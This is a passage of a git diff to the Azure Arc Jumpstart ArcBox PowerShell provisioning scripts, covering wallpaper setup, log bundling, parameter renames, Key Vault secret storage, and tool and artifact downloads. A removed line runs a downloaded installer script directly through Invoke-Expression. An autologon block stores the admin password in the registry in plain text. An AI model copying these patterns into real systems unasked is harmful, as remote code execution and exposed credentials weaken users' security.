"Creating deployment logs bundle" -7z a $Env:ArcBoxLogsDir\LogsBundle-"$RandomString".zip $Env:ArcBoxLogsDir\*.log -}' - -# Changing to Jumpstart ArcBox wallpaper -# Changing to Client VM wallpaper -$imgPath = "$Env:ArcBoxDir\wallpaper.png" -$code = @' -using System.Runtime.InteropServices; -namespace Win32{ - - public class Wallpaper{ - [DllImport("user32.dll", CharSet=CharSet.Auto)] - static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; - - public static void SetWallpaper(string thePath){ - SystemParametersInfo(20,0,thePath,3); - } - } -} -'@ - -# Set wallpaper image based on the ArcBox Flavor deployed -$DataServicesLogonScript = Get-WmiObject win32_process -filter 'name="powershell.exe"' | Select-Object CommandLine | ForEach-Object { $_ | Select-String "DataServicesLogonScript.ps1" } -if (-not $DataServicesLogonScript) { - Write-Header "Changing Wallpaper" - $imgPath = "$Env:ArcBoxDir\wallpaper.png" - Add-Type $code - [Win32.Wallpaper]::SetWallpaper($imgPath) +#Changing to Jumpstart ArcBox wallpaper + +Write-Header "Changing wallpaper" + +# bmp file is required for BGInfo +Convert-JSImageToBitMap -SourceFilePath "$Env:ArcBoxDir\wallpaper.png" -DestinationFilePath "$Env:ArcBoxDir\wallpaper.bmp" + +Set-JSDesktopBackground -ImagePath "$Env:ArcBoxDir\wallpaper.bmp" + +if ($Env:flavor -eq "ITPro") { + + Write-Header "Running tests to verify infrastructure" + + & "$Env:ArcBoxTestsDir\Invoke-Test.ps1" + } +Write-Header "Creating deployment logs bundle" + +$RandomString = -join ((48..57) + (97..122) | Get-Random -Count 6 | % {[char]$_}) +$LogsBundleTempDirectory = "$Env:windir\TEMP\LogsBundle-$RandomString" +$null = New-Item -Path $LogsBundleTempDirectory -ItemType Directory -Force + +#required to avoid "file is being used by another process" error when compressing the logs +Copy-Item -Path "$Env:ArcBoxLogsDir\*.log" -Destination $LogsBundleTempDirectory -Force -PassThru +Compress-Archive -Path "$LogsBundleTempDirectory\*.log" -DestinationPath "$Env:ArcBoxLogsDir\LogsBundle-$RandomString.zip" -PassThru + Stop-Transcript diff --git a/azure_jumpstart_arcbox/artifacts/BookStoreLaunch.ps1 b/azure_jumpstart_arcbox/artifacts/BookStoreLaunch.ps1 index 59edcc6b9b..914184b127 100644 --- a/azure_jumpstart_arcbox/artifacts/BookStoreLaunch.ps1 +++ b/azure_jumpstart_arcbox/artifacts/BookStoreLaunch.ps1 @@ -1,2 +1,2 @@ -Start-Process -FilePath msedge -ArgumentList '--new-window https://arcbox.devops.com/bookbuyer https://arcbox.devops.com/bookstore https://arcbox.devops.com/bookstore-v2' +Start-Process -FilePath msedge -ArgumentList '--new-window http://arcbox.devops.com/bookstore' [Environment]::Exit(1) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 6d95966f98..02a44c593f 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -3,7 +3,7 @@ param ( [string]$adminPassword, [string]$spnClientId, [string]$spnClientSecret, - [string]$spnTenantId, + [string]$tenantId, [string]$spnAuthority, [string]$subscriptionId, [string]$resourceGroup, @@ -21,33 +21,31 @@ param ( [string]$POSTGRES_SERVICE_TYPE, [string]$stagingStorageAccountName, [string]$workspaceName, - [string]$capiArcDataClusterName, + [string]$k3sArcDataClusterName, [string]$k3sArcClusterName, [string]$aksArcClusterName, [string]$aksdrArcClusterName, + [string]$githubBranch, [string]$githubUser, [string]$templateBaseUrl, [string]$flavor, [string]$rdpPort, - [string]$sshPort + [string]$sshPort, + [string]$vmAutologon, + [string]$addsDomainName, + [string]$customLocationRPOID, + [object]$resourceTags, + [string]$namingPrefix, + [string]$debugEnabled ) [System.Environment]::SetEnvironmentVariable('adminUsername', $adminUsername, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('adminPassword', $adminPassword, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('spnClientID', $spnClientId, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('spnClientSecret', $spnClientSecret, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('spnTenantId', $spnTenantId, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('spnAuthority', $spnAuthority, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('SPN_CLIENT_ID', $spnClientId, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('SPN_CLIENT_SECRET', $spnClientSecret, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('SPN_TENANT_ID', $spnTenantId, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('SPN_AUTHORITY', $spnAuthority, [System.EnvironmentVariableTarget]::Machine) +[System.Environment]::SetEnvironmentVariable('tenantId', $tenantId, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('resourceGroup', $resourceGroup, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('AZDATA_USERNAME', $azdataUsername, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('AZDATA_PASSWORD', $azdataPassword, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('ACCEPT_EULA', $acceptEula, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('registryUsername', $registryUsername, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('registryPassword', $registryPassword, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('arcDcName', $arcDcName, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('subscriptionId', $subscriptionId, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('azureLocation', $azureLocation, [System.EnvironmentVariableTarget]::Machine) @@ -58,32 +56,52 @@ param ( [System.Environment]::SetEnvironmentVariable('POSTGRES_SERVICE_TYPE', $POSTGRES_SERVICE_TYPE, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('stagingStorageAccountName', $stagingStorageAccountName, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('workspaceName', $workspaceName, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('capiArcDataClusterName', $capiArcDataClusterName, [System.EnvironmentVariableTarget]::Machine) +[System.Environment]::SetEnvironmentVariable('k3sArcDataClusterName', $k3sArcDataClusterName, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('k3sArcClusterName', $k3sArcClusterName, [System.EnvironmentVariableTarget]::Machine) +[System.Environment]::SetEnvironmentVariable('githubBranch', $githubBranch, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('githubUser', $githubUser, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('templateBaseUrl', $templateBaseUrl, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('flavor', $flavor, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('automationTriggerAtLogon', $automationTriggerAtLogon, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('addsDomainName', "jumpstart.local", [System.EnvironmentVariableTarget]::Machine) +[System.Environment]::SetEnvironmentVariable('addsDomainName', $addsDomainName, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('aksArcClusterName', $aksArcClusterName, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('aksdrArcClusterName', $aksdrArcClusterName, [System.EnvironmentVariableTarget]::Machine) - +[System.Environment]::SetEnvironmentVariable('customLocationRPOID', $customLocationRPOID, [System.EnvironmentVariableTarget]::Machine) +[System.Environment]::SetEnvironmentVariable('resourceTags', $resourceTags, [System.EnvironmentVariableTarget]::Machine) +[System.Environment]::SetEnvironmentVariable('namingPrefix', $namingPrefix, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('ArcBoxDir', "C:\ArcBox", [System.EnvironmentVariableTarget]::Machine) +if ($debugEnabled -eq "true") { + [System.Environment]::SetEnvironmentVariable('ErrorActionPreference', "Break", [System.EnvironmentVariableTarget]::Machine) +} else { + [System.Environment]::SetEnvironmentVariable('ErrorActionPreference', "Continue", [System.EnvironmentVariableTarget]::Machine) +} + +# Formatting VMs disk +$disk = (Get-Disk | Where-Object partitionstyle -eq 'raw')[0] +$driveLetter = "F" +$label = "VMsDisk" +$disk | Initialize-Disk -PartitionStyle MBR -PassThru | ` + New-Partition -UseMaximumSize -DriveLetter $driveLetter | ` + Format-Volume -FileSystem NTFS -NewFileSystemLabel $label -Confirm:$false -Force + # Creating ArcBox path Write-Output "Creating ArcBox path" $Env:ArcBoxDir = "C:\ArcBox" +$Env:ArcBoxDscDir = "$Env:ArcBoxDir\DSC" $Env:ArcBoxLogsDir = "$Env:ArcBoxDir\Logs" -$Env:ArcBoxVMDir = "$Env:ArcBoxDir\Virtual Machines" +$Env:ArcBoxVMDir = "F:\Virtual Machines" $Env:ArcBoxKVDir = "$Env:ArcBoxDir\KeyVault" $Env:ArcBoxGitOpsDir = "$Env:ArcBoxDir\GitOps" $Env:ArcBoxIconDir = "$Env:ArcBoxDir\Icons" $Env:agentScript = "$Env:ArcBoxDir\agentScript" +$Env:ArcBoxTestsDir = "$Env:ArcBoxDir\Tests" $Env:ToolsDir = "C:\Tools" $Env:tempDir = "C:\Temp" $Env:ArcBoxDataOpsDir = "$Env:ArcBoxDir\DataOps" New-Item -Path $Env:ArcBoxDir -ItemType directory -Force +New-Item -Path $Env:ArcBoxDscDir -ItemType directory -Force New-Item -Path $Env:ArcBoxLogsDir -ItemType directory -Force New-Item -Path $Env:ArcBoxVMDir -ItemType directory -Force New-Item -Path $Env:ArcBoxKVDir -ItemType directory -Force @@ -93,10 +111,28 @@ New-Item -Path $Env:ToolsDir -ItemType Directory -Force New-Item -Path $Env:tempDir -ItemType directory -Force New-Item -Path $Env:agentScript -ItemType directory -Force New-Item -Path $Env:ArcBoxDataOpsDir -ItemType directory -Force +New-Item -Path $Env:ArcBoxTestsDir -ItemType directory -Force Start-Transcript -Path $Env:ArcBoxLogsDir\Bootstrap.log -$ErrorActionPreference = 'SilentlyContinue' +if ($vmAutologon -eq "true") { + + Write-Host "Configuring VM Autologon" + + Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" "AutoAdminLogon" "1" + Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" "DefaultUserName" $adminUsername + Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" "DefaultPassword" $adminPassword + if($flavor -eq "DataOps"){ + Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" "DefaultDomainName" "jumpstart.local" + } +} else { + + Write-Host "Not configuring VM Autologon" + +} + +# Set SyncForegroundPolicy to 1 to ensure that the scheduled task runs after the client VM joins the domain +Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" "SyncForegroundPolicy" 1 # Copy PowerShell Profile and Reload Invoke-WebRequest ($templateBaseUrl + "artifacts/PSProfile.ps1") -OutFile $PsHome\Profile.ps1 @@ -106,9 +142,40 @@ Invoke-WebRequest ($templateBaseUrl + "artifacts/PSProfile.ps1") -OutFile $PsHom Write-Host "Extending C:\ partition to the maximum size" Resize-Partition -DriveLetter C -Size $(Get-PartitionSupportedSize -DriveLetter C).SizeMax -# Installing Posh-SSH PowerShell Module +# Installing PowerShell Modules Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force -Install-Module -Name Posh-SSH -Force + +Install-Module -Name Microsoft.PowerShell.PSResourceGet -Force +$modules = @("Az", "Az.ConnectedMachine", "Az.ConnectedKubernetes", "Az.CustomLocation", "Azure.Arc.Jumpstart.Common", "Microsoft.PowerShell.SecretManagement", "Pester") + +foreach ($module in $modules) { + Install-PSResource -Name $module -Scope AllUsers -Quiet -AcceptLicense -TrustRepository +} + +# Add Key Vault Secrets +Connect-AzAccount -Identity + +$KeyVault = Get-AzKeyVault -ResourceGroupName $resourceGroup + +# Set Key Vault Name as an environment variable (used by DevOps flavor) +[System.Environment]::SetEnvironmentVariable('keyVaultName', $KeyVault.VaultName, [System.EnvironmentVariableTarget]::Machine) + +# Import required module +Import-Module Microsoft.PowerShell.SecretManagement + +# Register the Azure Key Vault as a secret vault if not already registered +# Ensure you have installed the SecretManagement and SecretStore modules along with the Key Vault extension + +if (-not (Get-SecretVault -Name $KeyVault.VaultName -ErrorAction Ignore)) { + Register-SecretVault -Name $KeyVault.VaultName -ModuleName Az.KeyVault -VaultParameters @{ AZKVaultName = $KeyVault.VaultName } -DefaultVault +} + +Set-Secret -Name adminPassword -Secret $adminPassword +Set-Secret -Name AZDATAPASSWORD -Secret $azdataPassword +Set-Secret -Name registryPassword -Secret $registryPassword + +Write-Output "Added the following secrets to Azure Key Vault" +Get-SecretInfo # Installing DHCP service Write-Output "Installing DHCP service" @@ -121,33 +188,18 @@ if ($flavor -eq "DataOps") { } # Installing tools -Write-Header "Installing Chocolatey Apps" -$chocolateyAppList = 'az.powershell,kubernetes-cli,vcredist140,microsoft-edge,azcopy10,vscode,git,7zip,kubectx,terraform,putty.install,kubernetes-helm,ssms,dotnet-sdk,setdefaultbrowser,zoomit,openssl.light' - -try { - choco config get cacheLocation -} -catch { - Write-Output "Chocolatey not detected, trying to install now" - Invoke-Expression ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) -} - -Write-Host "Chocolatey Apps Specified" - -$appsToInstall = $chocolateyAppList -split "," | ForEach-Object { "$($_.Trim())" } - -foreach ($app in $appsToInstall) { - Write-Host "Installing $app" - & choco install $app /y -Force | Write-Output - -} -Write-Header "Installing Azure CLI (64-bit not available via Chocolatey)" +Write-Header "Installing PowerShell 7" $ProgressPreference = 'SilentlyContinue' -Invoke-WebRequest -Uri https://aka.ms/installazurecliwindowsx64 -OutFile .\AzureCLI.msi -Start-Process msiexec.exe -Wait -ArgumentList '/I AzureCLI.msi /quiet' -Remove-Item .\AzureCLI.msi +$url = "https://github.com/PowerShell/PowerShell/releases/latest" +$latestVersion = (Invoke-WebRequest -UseBasicParsing -Uri $url).Content | Select-String -Pattern "v[0-9]+\.[0-9]+\.[0-9]+" | Select-Object -ExpandProperty Matches | Select-Object -ExpandProperty Value +$downloadUrl = "https://github.com/PowerShell/PowerShell/releases/download/$latestVersion/PowerShell-$($latestVersion.Substring(1,5))-win-x64.msi" +Invoke-WebRequest -UseBasicParsing -Uri $downloadUrl -OutFile .\PowerShell7.msi +Start-Process msiexec.exe -Wait -ArgumentList '/I PowerShell7.msi /quiet ADD_EXPLORER_CONTEXT_MENU_OPENPOWERSHELL=1 ADD_FILE_CONTEXT_MENU_RUNPOWERSHELL=1 ENABLE_PSREMOTING=1 REGISTER_MANIFEST=1 USE_MU=1 ENABLE_MU=1 ADD_PATH=1' +Remove-Item .\PowerShell7.msi + +Copy-Item $PsHome\Profile.ps1 -Destination "C:\Program Files\PowerShell\7\" Write-Header "Fetching GitHub Artifacts" @@ -156,11 +208,16 @@ Write-Host "Fetching Artifacts for All Flavors" Invoke-WebRequest "https://raw.githubusercontent.com/Azure/arc_jumpstart_docs/main/img/wallpaper/arcbox_wallpaper_dark.png" -OutFile $Env:ArcBoxDir\wallpaper.png Invoke-WebRequest ($templateBaseUrl + "artifacts/MonitorWorkbookLogonScript.ps1") -OutFile $Env:ArcBoxDir\MonitorWorkbookLogonScript.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/mgmtMonitorWorkbook.parameters.json") -OutFile $Env:ArcBoxDir\mgmtMonitorWorkbook.parameters.json +Invoke-WebRequest ($templateBaseUrl + "artifacts/monitoring/arc-inventory-workbook.json") -OutFile "$Env:ArcBoxDir\arc-inventory-workbook.json" +Invoke-WebRequest ($templateBaseUrl + "artifacts/monitoring/arc-osperformance-workbook.json") -OutFile "$Env:ArcBoxDir\arc-osperformance-workbook.json" Invoke-WebRequest ($templateBaseUrl + "artifacts/DeploymentStatus.ps1") -OutFile $Env:ArcBoxDir\DeploymentStatus.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/LogInstructions.txt") -OutFile $Env:ArcBoxLogsDir\LogInstructions.txt - -Invoke-WebRequest ($templateBaseUrl + "../tests/GHActionDeploy.ps1") -OutFile "$Env:ArcBoxDir\GHActionDeploy.ps1" -Invoke-WebRequest ($templateBaseUrl + "../tests/OpenSSHDeploy.ps1") -OutFile "$Env:ArcBoxDir\OpenSSHDeploy.ps1" +Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/common.dsc.yml") -OutFile $Env:ArcBoxDscDir\common.dsc.yml +Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/virtual_machines_sql.dsc.yml") -OutFile $Env:ArcBoxDscDir\virtual_machines_sql.dsc.yml +Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/arcbox-bginfo.bgi") -OutFile $Env:ArcBoxTestsDir\arcbox-bginfo.bgi +Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/common.tests.ps1") -OutFile $Env:ArcBoxTestsDir\common.tests.ps1 +Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/Invoke-Test.ps1") -OutFile $Env:ArcBoxTestsDir\Invoke-Test.ps1 +Invoke-WebRequest ($templateBaseUrl + "artifacts/WinGet.ps1") -OutFile $Env:ArcBoxDir\WinGet.ps1 # Workbook template if ($flavor -eq "ITPro") { @@ -175,22 +232,21 @@ elseif ($flavor -eq "DataOps") { Write-Host "Fetching Workbook Template Artifact for DataOps" Invoke-WebRequest ($templateBaseUrl + "artifacts/mgmtMonitorWorkbookDataOps.json") -OutFile $Env:ArcBoxDir\mgmtMonitorWorkbook.json } -else { - Write-Host "Fetching Workbook Template Artifact for Full" - Invoke-WebRequest ($templateBaseUrl + "artifacts/mgmtMonitorWorkbookFull.json") -OutFile $Env:ArcBoxDir\mgmtMonitorWorkbook.json -} # ITPro -if ($flavor -eq "Full" -Or $flavor -eq "ITPro") { +if ($flavor -eq "ITPro") { Write-Host "Fetching Artifacts for ITPro Flavor" Invoke-WebRequest ($templateBaseUrl + "artifacts/ArcServersLogonScript.ps1") -OutFile $Env:ArcBoxDir\ArcServersLogonScript.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/installArcAgent.ps1") -OutFile $Env:ArcBoxDir\agentScript\installArcAgent.ps1 - Invoke-WebRequest ($templateBaseUrl + "artifacts/installArcAgentSQLSP.ps1") -OutFile $Env:ArcBoxDir\agentScript\installArcAgentSQLSP.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/installArcAgentUbuntu.sh") -OutFile $Env:ArcBoxDir\agentScript\installArcAgentUbuntu.sh Invoke-WebRequest ($templateBaseUrl + "artifacts/icons/arcsql.ico") -OutFile $Env:ArcBoxIconDir\arcsql.ico - Invoke-WebRequest ($templateBaseUrl + "artifacts/ArcSQLManualOnboarding.ps1") -OutFile $Env:ArcBoxDir\ArcSQLManualOnboarding.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/installArcAgentSQLUser.ps1") -OutFile $Env:ArcBoxDir\installArcAgentSQLUser.ps1 + Invoke-WebRequest ($templateBaseUrl + "artifacts/SqlAdvancedThreatProtectionShell.psm1") -OutFile $Env:ArcBoxDir\SqlAdvancedThreatProtectionShell.psm1 + Invoke-WebRequest ($templateBaseUrl + "artifacts/defendersqldcrtemplate.json") -OutFile $Env:ArcBoxDir\defendersqldcrtemplate.json Invoke-WebRequest ($templateBaseUrl + "artifacts/testDefenderForSQL.ps1") -OutFile $Env:ArcBoxDir\testDefenderForSQL.ps1 + Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/itpro.tests.ps1") -OutFile $Env:ArcBoxTestsDir\itpro.tests.ps1 + Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/itpro.dsc.yml") -OutFile $Env:ArcBoxDscDir\itpro.dsc.yml + Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/virtual_machines_itpro.dsc.yml") -OutFile $Env:ArcBoxDscDir\virtual_machines_itpro.dsc.yml } # DevOps @@ -203,9 +259,11 @@ if ($flavor -eq "DevOps") { Invoke-WebRequest ($templateBaseUrl + "artifacts/devops_ingress/hello-arc.yaml") -OutFile $Env:ArcBoxKVDir\hello-arc.yaml Invoke-WebRequest ($templateBaseUrl + "artifacts/gitops_scripts/K3sGitOps.ps1") -OutFile $Env:ArcBoxGitOpsDir\K3sGitOps.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/gitops_scripts/K3sRBAC.ps1") -OutFile $Env:ArcBoxGitOpsDir\K3sRBAC.ps1 - Invoke-WebRequest ($templateBaseUrl + "artifacts/gitops_scripts/ResetBookstore.ps1") -OutFile $Env:ArcBoxGitOpsDir\ResetBookstore.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/icons/arc.ico") -OutFile $Env:ArcBoxIconDir\arc.ico Invoke-WebRequest ($templateBaseUrl + "artifacts/icons/bookstore.ico") -OutFile $Env:ArcBoxIconDir\bookstore.ico + Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/devops.tests.ps1") -OutFile $Env:ArcBoxTestsDir\devops.tests.ps1 + Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/devops.dsc.yml") -OutFile $Env:ArcBoxDscDir\devops.dsc.yml + Invoke-WebRequest ($templateBaseUrl + "artifacts/longhorn.yaml") -OutFile $Env:ArcBoxDir\longhorn.yaml } # DataOps @@ -214,8 +272,6 @@ if ($flavor -eq "DataOps") { Invoke-WebRequest ($templateBaseUrl + "artifacts/ArcServersLogonScript.ps1") -OutFile $Env:ArcBoxDir\ArcServersLogonScript.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/DataOpsLogonScript.ps1") -OutFile $Env:ArcBoxDir\DataOpsLogonScript.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/RunAfterClientVMADJoin.ps1") -OutFile $Env:ArcBoxDir\RunAfterClientVMADJoin.ps1 - Invoke-WebRequest "https://azuredatastudio-update.azurewebsites.net/latest/win32-x64-archive/stable" -OutFile $Env:ArcBoxDir\azuredatastudio.zip - Invoke-WebRequest "https://aka.ms/azdata-msi" -OutFile $Env:ArcBoxDir\AZDataCLI.msi Invoke-WebRequest ($templateBaseUrl + "artifacts/settingsTemplate.json") -OutFile $Env:ArcBoxDir\settingsTemplate.json Invoke-WebRequest ($templateBaseUrl + "artifacts/DeploySQLMIADAuth.ps1") -OutFile $Env:ArcBoxDir\DeploySQLMIADAuth.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/dataController.json") -OutFile $Env:ArcBoxDir\dataController.json @@ -223,7 +279,7 @@ if ($flavor -eq "DataOps") { Invoke-WebRequest ($templateBaseUrl + "artifacts/sqlmiAD.json") -OutFile $Env:ArcBoxDir\sqlmiAD.json Invoke-WebRequest ($templateBaseUrl + "artifacts/sqlmiAD.parameters.json") -OutFile $Env:ArcBoxDir\sqlmiAD.parameters.json Invoke-WebRequest ($templateBaseUrl + "artifacts/SQLMIEndpoints.ps1") -OutFile $Env:ArcBoxDir\SQLMIEndpoints.ps1 - Invoke-WebRequest "https://github.com/ErikEJ/SqlQueryStress/releases/download/102/SqlQueryStressNet6.zip" -OutFile $Env:ArcBoxDir\SqlQueryStress.zip + Invoke-WebRequest "https://github.com/ErikEJ/SqlQueryStress/releases/download/0.9.7.166/SqlQueryStress.exe" -OutFile $Env:ArcBoxDir\SqlQueryStress.exe Invoke-WebRequest ($templateBaseUrl + "artifacts/adConnector.json") -OutFile $Env:ArcBoxDir\adConnector.json Invoke-WebRequest ($templateBaseUrl + "artifacts/adConnector.parameters.json") -OutFile $Env:ArcBoxDir\adConnector.parameters.json Invoke-WebRequest ($templateBaseUrl + "artifacts/DataOpsAppScript.ps1") -OutFile $Env:ArcBoxDir\DataOpsAppScript.ps1 @@ -231,62 +287,39 @@ if ($flavor -eq "DataOps") { Invoke-WebRequest ($templateBaseUrl + "artifacts/DataOpsAppDRScript.ps1") -OutFile $Env:ArcBoxDataOpsDir\DataOpsAppDRScript.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/DataOpsTestAppScript.ps1") -OutFile $Env:ArcBoxDataOpsDir\DataOpsTestAppScript.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/installArcAgent.ps1") -OutFile $Env:ArcBoxDir\agentScript\installArcAgent.ps1 - Invoke-WebRequest ($templateBaseUrl + "artifacts/installArcAgentSQLSP.ps1") -OutFile $Env:ArcBoxDir\agentScript\installArcAgentSQLSP.ps1 + Invoke-WebRequest ($templateBaseUrl + "artifacts/SqlAdvancedThreatProtectionShell.psm1") -OutFile $Env:ArcBoxDir\SqlAdvancedThreatProtectionShell.psm1 + Invoke-WebRequest ($templateBaseUrl + "artifacts/defendersqldcrtemplate.json") -OutFile $Env:ArcBoxDir\defendersqldcrtemplate.json Invoke-WebRequest ($templateBaseUrl + "artifacts/testDefenderForSQL.ps1") -OutFile $Env:ArcBoxDir\testDefenderForSQL.ps1 + Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/dataops.tests.ps1") -OutFile $Env:ArcBoxTestsDir\dataops.tests.ps1 + Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/dataops.dsc.yml") -OutFile $Env:ArcBoxDscDir\dataops.dsc.yml + Invoke-WebRequest ($templateBaseUrl + "artifacts/longhorn.yaml") -OutFile $Env:ArcBoxDir\longhorn.yaml } -# Full -if ($flavor -eq "Full") { - Write-Host "Fetching Artifacts for Full Flavor" - Invoke-WebRequest "https://azuredatastudio-update.azurewebsites.net/latest/win32-x64-archive/stable" -OutFile $Env:ArcBoxDir\azuredatastudio.zip - Invoke-WebRequest "https://aka.ms/azdata-msi" -OutFile $Env:ArcBoxDir\AZDataCLI.msi - Invoke-WebRequest ($templateBaseUrl + "artifacts/settingsTemplate.json") -OutFile $Env:ArcBoxDir\settingsTemplate.json - Invoke-WebRequest ($templateBaseUrl + "artifacts/DataServicesLogonScript.ps1") -OutFile $Env:ArcBoxDir\DataServicesLogonScript.ps1 - Invoke-WebRequest ($templateBaseUrl + "artifacts/DeployPostgreSQL.ps1") -OutFile $Env:ArcBoxDir\DeployPostgreSQL.ps1 - Invoke-WebRequest ($templateBaseUrl + "artifacts/DeploySQLMI.ps1") -OutFile $Env:ArcBoxDir\DeploySQLMI.ps1 - Invoke-WebRequest ($templateBaseUrl + "artifacts/dataController.json") -OutFile $Env:ArcBoxDir\dataController.json - Invoke-WebRequest ($templateBaseUrl + "artifacts/dataController.parameters.json") -OutFile $Env:ArcBoxDir\dataController.parameters.json - Invoke-WebRequest ($templateBaseUrl + "artifacts/postgreSQL.json") -OutFile $Env:ArcBoxDir\postgreSQL.json - Invoke-WebRequest ($templateBaseUrl + "artifacts/postgreSQL.parameters.json") -OutFile $Env:ArcBoxDir\postgreSQL.parameters.json - Invoke-WebRequest ($templateBaseUrl + "artifacts/sqlmi.json") -OutFile $Env:ArcBoxDir\sqlmi.json - Invoke-WebRequest ($templateBaseUrl + "artifacts/sqlmi.parameters.json") -OutFile $Env:ArcBoxDir\sqlmi.parameters.json - Invoke-WebRequest ($templateBaseUrl + "artifacts/SQLMIEndpoints.ps1") -OutFile $Env:ArcBoxDir\SQLMIEndpoints.ps1 - Invoke-WebRequest "https://github.com/ErikEJ/SqlQueryStress/releases/download/102/SqlQueryStressNet6.zip" -OutFile $Env:ArcBoxDir\SqlQueryStress.zip -} - -New-Item -path alias:kubectl -value 'C:\ProgramData\chocolatey\lib\kubernetes-cli\tools\kubernetes\client\bin\kubectl.exe' New-Item -path alias:azdata -value 'C:\Program Files (x86)\Microsoft SDKs\Azdata\CLI\wbin\azdata.cmd' # Disable Microsoft Edge sidebar $RegistryPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Edge' -$Name = 'HubsSidebarEnabled' -$Value = '00000000' +$Name = 'HubsSidebarEnabled' +$Value = '00000000' # Create the key if it does not exist If (-NOT (Test-Path $RegistryPath)) { - New-Item -Path $RegistryPath -Force | Out-Null + New-Item -Path $RegistryPath -Force | Out-Null } New-ItemProperty -Path $RegistryPath -Name $Name -Value $Value -PropertyType DWORD -Force # Disable Microsoft Edge first-run Welcome screen $RegistryPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Edge' -$Name = 'HideFirstRunExperience' -$Value = '00000001' +$Name = 'HideFirstRunExperience' +$Value = '00000001' # Create the key if it does not exist If (-NOT (Test-Path $RegistryPath)) { - New-Item -Path $RegistryPath -Force | Out-Null + New-Item -Path $RegistryPath -Force | Out-Null } New-ItemProperty -Path $RegistryPath -Name $Name -Value $Value -PropertyType DWORD -Force -if ($flavor -eq "Full" -Or $flavor -eq "DataOps") { - Write-Header "Installing Azure Data Studio" - Expand-Archive $Env:ArcBoxDir\azuredatastudio.zip -DestinationPath 'C:\Program Files\Azure Data Studio' - Start-Process msiexec.exe -Wait -ArgumentList "/I $Env:ArcBoxDir\AZDataCLI.msi /quiet" -} - # Change RDP Port Write-Host "RDP port number from configuration is $rdpPort" -if (($rdpPort -ne $null) -and ($rdpPort -ne "") -and ($rdpPort -ne "3389")) -{ +if (($rdpPort -ne $null) -and ($rdpPort -ne "") -and 